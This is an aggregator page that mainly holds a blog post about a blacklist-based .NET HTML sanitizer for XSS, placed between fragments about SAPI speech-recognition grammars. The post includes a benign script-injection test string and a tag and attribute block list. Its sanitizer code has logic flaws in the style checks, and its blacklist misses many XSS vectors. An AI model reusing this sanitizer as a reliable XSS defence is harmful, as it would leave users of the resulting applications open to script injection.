delimiter, the entire phrase can be added // in one method call hr = cpRecoGrammar->AddWordTransition(hsHelloWorld, NULL, L"hello world", L" ", SPWT_LEXICAL, NULL, NULL); // Check hr // Add the command words "hiya there" // Note that the lexical delimiter is "|", a pipe character. // By using a pipe delimiter, the entire phrase can be added // in one method call hr = cpRecoGrammar->AddWordTransition(hsHelloWorld, NULL, L"hiya|there", L"|", SPWT_LEXICAL, NULL, NULL); // Check hr // save/commit changes hr = cpRecoGrammar->Commit(NULL); // Check hr

    Read the article

  • .NET HTML Sanitation for rich HTML Input

    - by Rick Strahl
    Recently I was working on updating a legacy application to MVC 4 that included free form text input. When I set up the new site my initial approach was to not allow any rich HTML input, only simple text formatting that would respect a few simple HTML commands for bold, lists etc. and automatically handles line break processing for new lines and paragraphs. This is typical for what I do with most multi-line text input in my apps and it works very well with very little development effort involved. Then the client sprung another note: Oh by the way we have a bunch of customers (real estate agents) who need to post complete HTML documents. Oh uh! There goes the simple theory. After some discussion and pleading on my part (<snicker>) to try and avoid this type of raw HTML input because of potential XSS issues, the client decided to go ahead and allow raw HTML input anyway. There has been lots of discussions on this subject on StackOverFlow (and here and here) but to after reading through some of the solutions I didn't really find anything that would work even closely for what I needed. Specifically we need to be able to allow just about any HTML markup, with the exception of script code. Remote CSS and Images need to be loaded, links need to work and so. While the 'legit' HTML posted by these agents is basic in nature it does span most of the full gamut of HTML (4). Most of the solutions XSS prevention/sanitizer solutions I found were way to aggressive and rendered the posted output unusable mostly because they tend to strip any externally loaded content. In short I needed a custom solution. I thought the best solution to this would be to use an HTML parser - in this case the Html Agility Pack - and then to run through all the HTML markup provided and remove any of the blacklisted tags and a number of attributes that are prone to JavaScript injection. There's much discussion on whether to use blacklists vs. whitelists in the discussions mentioned above, but I found that whitelists can make sense in simple scenarios where you might allow manual HTML input, but when you need to allow a larger array of HTML functionality a blacklist is probably easier to manage as the vast majority of elements and attributes could be allowed. Also white listing gets a bit more complex with HTML5 and the new proliferation of new HTML tags and most new tags generally don't affect XSS issues directly. Pure whitelisting based on elements and attributes also doesn't capture many edge cases (see some of the XSS cheat sheets listed below) so even with a white list, custom logic is still required to handle many of those edge cases. The Microsoft Web Protection Library (AntiXSS) My first thought was to check out the Microsoft AntiXSS library. Microsoft has an HTML Encoding and Sanitation library in the Microsoft Web Protection Library (formerly AntiXSS Library) on CodePlex, which provides stricter functions for whitelist encoding and sanitation. Initially I thought the Sanitation class and its static members would do the trick for me,but I found that this library is way too restrictive for my needs. Specifically the Sanitation class strips out images and links which rendered the full HTML from our real estate clients completely useless. I didn't spend much time with it, but apparently I'm not alone if feeling this library is not really useful without some way to configure operation. To give you an example of what didn't work for me with the library here's a small and simple HTML fragment that includes script, img and anchor tags. I would expect the script to be stripped and everything else to be left intact. Here's the original HTML:var value = "<b>Here</b> <script>alert('hello')</script> we go. Visit the " + "<a href='http://west-wind.com'>West Wind</a> site. " + "<img src='http://west-wind.com/images/new.gif' /> " ; and the code to sanitize it with the AntiXSS Sanitize class:@Html.Raw(Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment(value)) This produced a not so useful sanitized string: Here we go. Visit the <a>West Wind</a> site. While it removed the <script> tag (good) it also removed the href from the link and the image tag altogether (bad). In some situations this might be useful, but for most tasks I doubt this is the desired behavior. While links can contain javascript: references and images can 'broadcast' information to a server, without configuration to tell the library what to restrict this becomes useless to me. I couldn't find any way to customize the white list, nor is there code available in this 'open source' library on CodePlex. Using Html Agility Pack for HTML Parsing The WPL library wasn't going to cut it. After doing a bit of research I decided the best approach for a custom solution would be to use an HTML parser and inspect the HTML fragment/document I'm trying to import. I've used the HTML Agility Pack before for a number of apps where I needed an HTML parser without requiring an instance of a full browser like the Internet Explorer Application object which is inadequate in Web apps. In case you haven't checked out the Html Agility Pack before, it's a powerful HTML parser library that you can use from your .NET code. It provides a simple, parsable HTML DOM model to full HTML documents or HTML fragments that let you walk through each of the elements in your document. If you've used the HTML or XML DOM in a browser before you'll feel right at home with the Agility Pack. Blacklist based HTML Parsing to strip XSS Code For my purposes of HTML sanitation, the process involved is to walk the HTML document one element at a time and then check each element and attribute against a blacklist. There's quite a bit of argument of what's better: A whitelist of allowed items or a blacklist of denied items. While whitelists tend to be more secure, they also require a lot more configuration. In the case of HTML5 a whitelist could be very extensive. For what I need, I only want to ensure that no JavaScript is executed, so a blacklist includes the obvious <script> tag plus any tag that allows loading of external content including <iframe>, <object>, <embed> and <link> etc. <form>  is also excluded to avoid posting content to a different location. I also disallow <head> and <meta> tags in particular for my case, since I'm only allowing posting of HTML fragments. There is also some internal logic to exclude some attributes or attributes that include references to JavaScript or CSS expressions. The default tag blacklist reflects my use case, but is customizable and can be added to. Here's my HtmlSanitizer implementation:using System.Collections.Generic; using System.IO; using System.Xml; using HtmlAgilityPack; namespace Westwind.Web.Utilities { public class HtmlSanitizer { public HashSet<string> BlackList = new HashSet<string>() { { "script" }, { "iframe" }, { "form" }, { "object" }, { "embed" }, { "link" }, { "head" }, { "meta" } }; /// <summary> /// Cleans up an HTML string and removes HTML tags in blacklist /// </summary> /// <param name="html"></param> /// <returns></returns> public static string SanitizeHtml(string html, params string[] blackList) { var sanitizer = new HtmlSanitizer(); if (blackList != null && blackList.Length > 0) { sanitizer.BlackList.Clear(); foreach (string item in blackList) sanitizer.BlackList.Add(item); } return sanitizer.Sanitize(html); } /// <summary> /// Cleans up an HTML string by removing elements /// on the blacklist and all elements that start /// with onXXX . /// </summary> /// <param name="html"></param> /// <returns></returns> public string Sanitize(string html) { var doc = new HtmlDocument(); doc.LoadHtml(html); SanitizeHtmlNode(doc.DocumentNode); //return doc.DocumentNode.WriteTo(); string output = null; // Use an XmlTextWriter to create self-closing tags using (StringWriter sw = new StringWriter()) { XmlWriter writer = new XmlTextWriter(sw); doc.DocumentNode.WriteTo(writer); output = sw.ToString(); // strip off XML doc header if (!string.IsNullOrEmpty(output)) { int at = output.IndexOf("?>"); output = output.Substring(at + 2); } writer.Close(); } doc = null; return output; } private void SanitizeHtmlNode(HtmlNode node) { if (node.NodeType == HtmlNodeType.Element) { // check for blacklist items and remove if (BlackList.Contains(node.Name)) { node.Remove(); return; } // remove CSS Expressions and embedded script links if (node.Name == "style") { if (string.IsNullOrEmpty(node.InnerText)) { if (node.InnerHtml.Contains("expression") || node.InnerHtml.Contains("javascript:")) node.ParentNode.RemoveChild(node); } } // remove script attributes if (node.HasAttributes) { for (int i = node.Attributes.Count - 1; i >= 0; i--) { HtmlAttribute currentAttribute = node.Attributes[i]; var attr = currentAttribute.Name.ToLower(); var val = currentAttribute.Value.ToLower(); span style="background: white; color: green">// remove event handlers if (attr.StartsWith("on")) node.Attributes.Remove(currentAttribute); // remove script links else if ( //(attr == "href" || attr== "src" || attr == "dynsrc" || attr == "lowsrc") && val != null && val.Contains("javascript:")) node.Attributes.Remove(currentAttribute); // Remove CSS Expressions else if (attr == "style" && val != null && val.Contains("expression") || val.Contains("javascript:") || val.Contains("vbscript:")) node.Attributes.Remove(currentAttribute); } } } // Look through child nodes recursively if (node.HasChildNodes) { for (int i = node.ChildNodes.Count - 1; i >= 0; i--) { SanitizeHtmlNode(node.ChildNodes[i]); } } } } } Please note: Use this as a starting point only for your own parsing and review the code for your specific use case! If your needs are less lenient than mine were you can you can make this much stricter by not allowing src and href attributes or CSS links if your HTML doesn't allow it. You can also check links for external URLs and disallow those - lots of options.  The code is simple enough to make it easy to extend to fit your use cases more specifically. It's also quite easy to make this code work using a WhiteList approach if you want to go that route. The code above is semi-generic for allowing full featured HTML fragments that only disallow script related content. The Sanitize method walks through each node of the document and then recursively drills into all of its children until the entire document has been traversed. Note that the code here uses an XmlTextWriter to write output - this is done to preserve XHTML style self-closing tags which are otherwise left as non-self-closing tags. The sanitizer code scans for blacklist elements and removes those elements not allowed. Note that the blacklist is configurable either in the instance class as a property or in the static method via the string parameter list. Additionally the code goes through each element's attributes and looks for a host of rules gleaned from some of the XSS cheat sheets listed at the end of the post. Clearly there are a lot more XSS vulnerabilities, but a lot of them apply to ancient browsers (IE6 and versions of Netscape) - many of these glaring holes (like CSS expressions - WTF IE?) have been removed in modern browsers. What a Pain To be honest this is NOT a piece of code that I wanted to write. I think building anything related to XSS is better left to people who have far more knowledge of the topic than I do. Unfortunately, I was unable to find a tool that worked even closely for me, or even provided a working base. For the project I was working on I had no choice and I'm sharing the code here merely as a base line to start with and potentially expand on for specific needs. It's sad that Microsoft Web Protection Library is currently such a train wreck - this is really something that should come from Microsoft as the systems vendor or possibly a third party that provides security tools. Luckily for my application we are dealing with a authenticated and validated users so the user base is fairly well known, and relatively small - this is not a wide open Internet application that's directly public facing. As I mentioned earlier in the post, if I had my way I would simply not allow this type of raw HTML input in the first place, and instead rely on a more controlled HTML input mechanism like MarkDown or even a good HTML Edit control that can provide some limits on what types of input are allowed. Alas in this case I was overridden and we had to go forward and allow *any* raw HTML posted. Sometimes I really feel sad that it's come this far - how many good applications and tools have been thwarted by fear of XSS (or worse) attacks? So many things that could be done *if* we had a more secure browser experience and didn't have to deal with every little script twerp trying to hack into Web pages and obscure browser bugs. So much time wasted building secure apps, so much time wasted by others trying to hack apps… We're a funny species - no other species manages to waste as much time, effort and resources as we humans do :-) Resources Code on GitHub Html Agility Pack XSS Cheat Sheet XSS Prevention Cheat Sheet Microsoft Web Protection Library (AntiXss) StackOverflow Links: http://stackoverflow.com/questions/341872/html-sanitizer-for-net http://blog.stackoverflow.com/2008/06/safe-html-and-xss/ http://code.google.com/p/subsonicforums/source/browse/trunk/SubSonic.Forums.Data/HtmlScrubber.cs?r=61© Rick Strahl, West Wind Technologies, 2005-2012Posted in Security  HTML  ASP.NET  JavaScript   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

    Read the article

  • SAPI Speech recognition delphi

    - by XBasic3000
    I need create a programatic equivalent using delphi language... or could someone post a link on how to do grammars in peech recogniton using the delphi. sorry for my english... **Programmatic Equivalent C#:** Ref: http://msdn.microsoft.com/en-us/library/ms723634(v=VS.85).aspx To add a phrase to a rule, SAPI provides an API called ISpGrammarBuilder::AddWordTransition. The application developer can add the sentences as follows: SPSTATEHANDLE hsHelloWorld; // Create new top-level rule called "HelloWorld" hr = cpRecoGrammar->GetRule(L"HelloWorld", NULL, SPRAF_TopLevel | SPRAF_Active, TRUE, &hsHelloWorld); // Check hr // Add the command words "hello world" // Note that the lexical delimiter is " ", a space character. // By using a space delimiter, the entire phrase can be added // in one method call hr = cpRecoGrammar->AddWordTransition(hsHelloWorld, NULL, L"hello world", L" ", SPWT_LEXICAL, NULL, NULL); // Check hr // Add the command words "hiya there" // Note that the lexical delimiter is "|", a pipe character. // By using a pipe delimiter, the entire phrase can be added // in one method call hr = cpRecoGrammar->AddWordTransition(hsHelloWorld, NULL, L"hiya|there", L"|", SPWT_LEXICAL, NULL, NULL); // Check hr // save/commit changes hr = cpRecoGrammar->Commit(NULL); // Check hr XML Grammar Sample(s): <GRAMMAR> <!-- Create a simple "hello world" rule --> <RULE NAME="HelloWorld" TOPLEVEL="ACTIVE"> <P>hello world</P> </RULE> <!-- Create a more advanced "hello world" rule that changes the display form. When the user says "hello world" the display text will be "Hiya there!" --> <RULE NAME="HelloWorld_Disp" TOPLEVEL="ACTIVE"> <P DISP="Hiya there!">hello world</P> </RULE> <!-- Create a rule that changes the pronunciation and the display form of the phrase. When the user says "eh" the display text will be "I don't understand?". Note the user didn't say "huh". The pronunciation for "what" is specific to this phrase tag and is not changed for the user or application lexicon, or even other instances of "what" in the grammar --> <RULE NAME="Question_Pron" TOPLEVEL="ACTIVE"> <P DISP="I don't understand" PRON="eh">what</P> </RULE> <!-- Create a rule demonstrating repetition --> <!-- the rule will only be recognized if the user says "hey diddle diddle" --> <RULE NAME="NurseryRhyme" TOPLEVEL="ACTIVE"> <P>hey</P> <P MIN="2" MAX="2">diddle</P> </RULE> <!-- Create a list with variable phrase weights --> <!-- If the user says similar phrases, the recognizer will use the weights to pick a match --> <RULE NAME="UseWeights" TOPLEVEL="ACTIVE"> <LIST> <!-- Note the higher likelihood that the user is expected to say "recognizer speech" --> <P WEIGHT=".95">recognize speech</P> <P WEIGHT=".05">wreck a nice beach</P> </LIST> </RULE> <!-- Create a phrase with an attached semantic property --> <!-- Speaking "one two three" will return three different unique semantic properties, with different names, and different values --> <RULE NAME="UseProps" TOPLEVEL="ACTIVE"> <!-- named property, without value --> <P PROPNAME="NOVALUE">one</P> <!-- named property, with numeric value --> <P PROPNAME="NUMBER" VAL="2">two</P> <!-- named property, with string value --> <P PROPNAME="STRING" VALSTR="three">three</P> </RULE> </GRAMMAR>

    Read the article

1